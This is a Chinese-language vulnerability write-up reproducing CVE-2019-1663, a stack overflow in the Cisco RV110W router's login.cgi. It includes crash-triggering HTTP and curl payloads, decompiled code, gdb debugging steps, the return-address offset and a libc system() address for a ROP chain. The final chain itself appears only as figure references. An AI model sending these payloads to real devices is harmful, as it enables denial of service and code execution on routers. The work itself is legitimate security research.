Cisco_RV110W_堆栈缓冲区溢出漏洞分析 0x01 前言 本篇文章是针对Cisco RV110W 设备的一次栈溢出漏洞分析与复现。
漏洞通告:https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20190227-rmi-cmd-ex.html
0x02 漏洞触发 漏洞编号:CVE-2019-1663
漏洞固件版本:Cisco RV110W<1.2.2.1
UART 串口接入设备shell,查看设备的端口开放情况,并且cisco的web服务是可以访问,开启了443端口
登录,pwd的值使用MD5 将密码进行加密
将payloads 更改为,并且发送请求的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /login.cgi HTTP/1.1 Host : 192.168.1.1Connection : closeContent-Length : 556Cache-Control : max-age=0sec-ch-ua : "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"sec-ch-ua-mobile : ?0Upgrade-Insecure-Requests : 1Origin : https://192.168.1.1Content-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : https://192.168.1.1/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : XSRF_TOKEN=1222440606; mlap=RGVmYXVsdDM6Ojo6Y2lzY28=submit_button = login&submit_type =&gui_action =&wait_time =0 &change_action =&enc =1 &user =cisco+&pwd =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ&sel_lang =EN
现在我们再次来看设备的web 443服务,可以很明显的看到设备的端口已经down 了。并且设备的web 的服务也无法访问。初步判断在登录的pwd 值处发生了堆栈的缓冲区溢出的漏洞。
0x02 固件分析 由于思科的固件都是公开的,因此可以直接从思科的support站上下载固件,接着使用binwalk 解开固件包,固件使用的是Squashfs 最常见的嵌入式文件系统格式。
通过固件内的二进制文件获取获取指令架构的相关信息,固件为mips 32位小端的指令架构。
1 2 3 4 shayuhuajiao@ubuntu ~/i/g/_/squashfs-root> file sbin/rc sbin/rc: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped shayuhuajiao@ubuntu ~/i/g/_/squashfs-root> file bin/busybox bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
根据披露的漏洞信息和漏洞触发行为,漏洞产生在http 服务上,因此可以很快的定位提供http服务的 httpd 二进制文件,该文件在 /usr/sbin/httpd 中
使用ghidra 导入httpd
漏洞点的流程
log_in_cgi() –> login_check() —> valid_user()
漏洞函数是在vailid_user(char *pcParm1,char *pcParm2,char *pcParm3,int iParm4)函数,parm1 和 parm2 分别是输入的user 和password 的值,另外parm4 是enc的值。漏洞函数的传参下面会分析,这个函数中具体的漏洞点如下,首先程序会判断enc的值是否是1 ,如果不是,那就对比”enc=” 字符串,一般来说都能触发 strcpy 函数。strcpy 函数会将pcParm2 的值复制到acStack109中,并且没有对pcParm2的长度没有限制,因此会造成acStack109[69] 的内存单元无法容纳大长度的字节,从而造成缓冲区溢出的漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 int valid_user (char *pcParm1,char *pcParm2,char *pcParm3,int iParm4) { bool bVar1; int iVar2; size_t sVar3; size_t sVar4; int iVar5; long lVar6; undefined4 uVar7; char *__s1; char *__s1_00; undefined4 local_108; undefined4 local_104; undefined2 local_100; char acStack254 [40 ]; char acStack214 [40 ]; char acStack174 [65 ]; char acStack109 [69 ]; memset (acStack254,0 ,0x28 ); memset (acStack214,0 ,0x28 ); memset (acStack174,0 ,0x41 ); local_108 = 0 ; local_104 = 0 ; local_100 = 0 ; memset (acStack109,0 ,0x41 ); sscanf (pcParm3,"%[^,],%[^,],%[^\n]" ,&local_108,acStack214,acStack254); if (iParm4 == 0 ) { iVar2 = strncmp (acStack214,"enc=" ,4 ); if (iVar2 == 0 ) { md5_encode (pcParm2,acStack109); sscanf (acStack214,"enc=%s" ,acStack174); } else { strcpy (acStack174,acStack214); strcpy (acStack109,pcParm2); } } else { iVar2 = strncmp (acStack214,"enc=" ,4 ); if (iVar2 == 0 ) { sscanf (acStack214,"enc=%s" ,acStack174); } else { md5_encode (acStack214,acStack174); } strcpy (acStack109,pcParm2); } sVar3 = strlen (acStack254); sVar4 = strlen (pcParm1); if (sVar3 == sVar4) { sVar3 = strlen (acStack174); sVar4 = strlen (acStack109); iVar2 = 0 ; if (sVar3 == sVar4) { iVar5 = strcmp (acStack254,pcParm1); iVar2 = 0 ; if (iVar5 == 0 ) { iVar5 = strcmp (acStack174,acStack109); iVar2 = 0 ; if (iVar5 == 0 ) { __s1_00 = (char *)nvram_get ("en_guest" ); iVar2 = 1 ; if (__s1_00 != (char *)0x0 ) { iVar5 = strcmp (__s1_00,"0" ); iVar2 = 1 ; if (iVar5 == 0 ) { __s1_00 = (char *)nvram_get ("http_power" ); iVar2 = 1 ; if (__s1_00 != (char *)0x0 ) { iVar5 = strcmp (__s1_00,"r" ); iVar2 = 1 ; if (iVar5 == 0 ) goto LAB_00431a9c; } } } } } } } else { LAB_00431a9c: iVar2 = 0 ; } if (do_onplus != 0 ) { return iVar2; } if (iVar2 == 0 ) { iVar2 = nvram_get ("http_client_ip" ); if (iVar2 == 0 ) { iVar2 = 0x487990 ; } syslog (6 ,"Invalid username or password from %s." ,iVar2); return 0 ; } iVar2 = sys_uptime (); __s1_00 = (char *)nvram_get ("auth_time" ); if (__s1_00 == (char *)0x0 ) { __s1_00 = "" ; } __s1 = (char *)nvram_get ("http_power" ); if ((__s1 == (char *)0x0 ) || (iVar5 = strcmp (__s1,"rw" ), iVar5 != 0 )) { iVar5 = 0 ; } else { __s1 = (char *)nvram_get ("admin_timeout" ); if (__s1 == (char *)0x0 ) { __s1 = "" ; } iVar5 = atoi (__s1); if (iVar5 == 99 ) { bVar1 = false ; goto LAB_00431d18; } iVar5 = iVar5 * 0x3c ; } lVar6 = atol (__s1_00); if ((iVar2 < lVar6) || (bVar1 = false , iVar5 <= iVar2 - lVar6)) { syslog (6 ,"Administrator session timeout." ); bVar1 = true ; } LAB_00431d18: __s1_00 = (char *)nvram_get ("auth_st" ); if ((((__s1_00 == (char *)0x0 ) || (iVar2 = strcmp (__s1_00,"1" ), iVar2 != 0 )) || (__s1_00 = (char *)nvram_get ("http_power" ), __s1_00 == (char *)0x0 )) || ((iVar2 = strcmp (__s1_00,"rw" ), iVar2 != 0 || (bVar1)))) { nvram_set ("http_power" ,&local_108); iVar2 = nvram_get (0x485054 ); if (iVar2 == 0 ) { iVar2 = 0x487990 ; } set_key_status (iVar2,&DAT_0047f7d4); uVar7 = 1 ; } else { iVar2 = strcmp ((char *)&local_108,"rw" ); if (iVar2 == 0 ) { uVar7 = nvram_get (0x485054 ); nvram_set ("tmp_auth_key" ,uVar7); uVar7 = 3 ; } else { uVar7 = 2 ; } } return uVar7; }
接着valid_user()函数是如何调用并触发的,根据交叉引用,valid_user 函数在login_check 函数中调用,并且valid_user 的参数也是login_check 函数需要的参数。
int login_check(undefined4 uParm1,undefined4 uParm2,undefined4 uParm3) :
继续查看login_check 的交叉引用,查看这些参数的传入位置,在log_in_cgi()函数中,此函数会使用get_cgi()分别获取在登录的时候输入的“user”、”pwd”的值。并且把获取到的值作为参数传给login_check(),login_check 函数可以看到调用的时候,传入了三个参数,并且查看到参数分别是user、pwd 的值。ghidra 没有像IDA一样自动显示字符串,我们可以双击 “&DAT_00481470” 查看,也可以设置data为strings。
具体的程序漏洞触发流程如下图所示
0x03 漏洞远程调试&漏洞利用 通过固件分析,了解了漏洞的产生点,现在开始对漏洞点进行远程调试,上传gdbserver(mips),并开启设备中的远程调试
设备端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Connecting to 192.168.1.101:80 (192.168.1.101:80 )gdbserver 100 % |*******************************| 1011 k --:--:-- ETA 348 0 6284 S httpd 356 0 6416 S httpd -S Attached ; pid = 356 Listening on port 1234 Connecting to 10.10.10.100:80 (10.10.10.100:80 )gdbserver 100 % |*******************************| 1011 k 00 :00 :00 ETAAttached ; pid = 348 Listening on port 1234
调试端:使用gdb 进行远程调试,设置架构集和大小端。
1 2 3 4 5 6 7 8 gdb-multiarch -q httpd pwndbg> set architecture The pwndbg> set The pwndbg> target Remote Reading /usr//libnvram.so from remote target...
1)劫持PC 接下来我们要计算valid_user()函数中局部变量acStack109到$ra的偏移量
使用pattern.py 来生成随机字符
在调试中 在valid_user 函数分配栈空间的指令地址处打断点 break *0x004318BC,然后启动调试
1 2 pwndbg> break *0x004318BC pwndbg> continue
发送payload
1 curl -i -k -X POST https://10.10.10.1 /login.cgi -d 'submit_button=login&submit_type=&gui_action=&default_login=1 &wait_time=0 &change_action=&enc=1 &user=cisco&pwd=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag&sel_lang=EN'
程序会断点在valid_user函数的序言处。
根据valid_user(a1,a2,a3,a4)的定义,并且在login_check函数中调用valid_user函数的汇编可知,上面的调试的断点处,寄存器中的$A0存放user的值,$A1存放pwd的值,$A2存放enc=的值。
调试到strcpy处,strcpy将pwd的内存地址拷贝到函数的栈空间内。
接着往下执行,程序会在strlen 提前中断,调试无法进行下去。
中断分析 函数提前崩溃的原因是strlen()函数的参数$a0的值必须是一个有效的地址,根据汇编代码可知,在覆盖栈上的返回地址之后,会覆盖0x200+arg_0指向的栈空间内容,然后$a0会获取 0x200+arg_0 栈空间地址的内容,然后将其作为参数传递给strlen,因此0x200+arg_0 必须是一个有效的地址,但是我们刚刚传入的值是一个无效的地址,因此为了保证valid_user函数执行时,能够正常执行下去而不被破坏,就需要给strlen传入一个有效的地址。
因此为了不破坏strlen函数的栈空间,需要手动计算偏移地址。
根据函数的序言,可以计算出v38 到 var_s24的偏移是105个字节
构造105*‘A’+DDDD+ZZZZ
1 curl -i -k -X POST https://10.10.10.1 /login.cgi -d 'submit_button=login&submit_type=&gui_action=&default_login=1 &wait_time=0 &change_action=&enc=1 &user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDDZZZZ&sel_lang=EN'
程序依旧会在strlen()函数处中断,并且传入的参数是”ZZZZ”。
如果是构造 构造105*‘A’+DDDD 的话,执行到strlen处,获取到正确有效的地址。
最终可以劫持PC
2) 计算偏移量 经过上面的劫持PC, valid_user()函数中局部变量acStack109 到$ra的偏移量是105,因此只需要填充105个字节就可以到达$ra返回地址
3)确定漏洞利用途径 由于mips 架构的程序无法开启NX防护,因此接下来只需要寻找可用的gadgets.
1 2 3 4 5 6 7 8 9 shayuhuajiao@ubuntu ~/i/g/_/s/u/sbin> checksec httpd [* ] Checking for new versions of pwntools [* ] '/home/shayuhuajiao/_RV110W_FW_1.2.1.7.bin.extracted/squashfs-root/usr/sbin/httpd' Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
首先使用vmmap 查看程序运行时加载的lib 库的情况和执行权限。这里我们可以确定/lib/libc.so.0是可以使用的。
使用 mipscrop.stackfinder() 找到合适的 gadget。
寻找可以利用的system 函数和该函数的对Libc 中的偏移地址,然后根据libc 的基地址,就可以获取system的完整地址为 0x2af98000 + 0x0004C7E0 = 0x2AFE47E0
找到可以使用的nop 地址
4) 构造最终的ROP Chain 最终构造的ROP chain 如下图所示
5) exploit 测试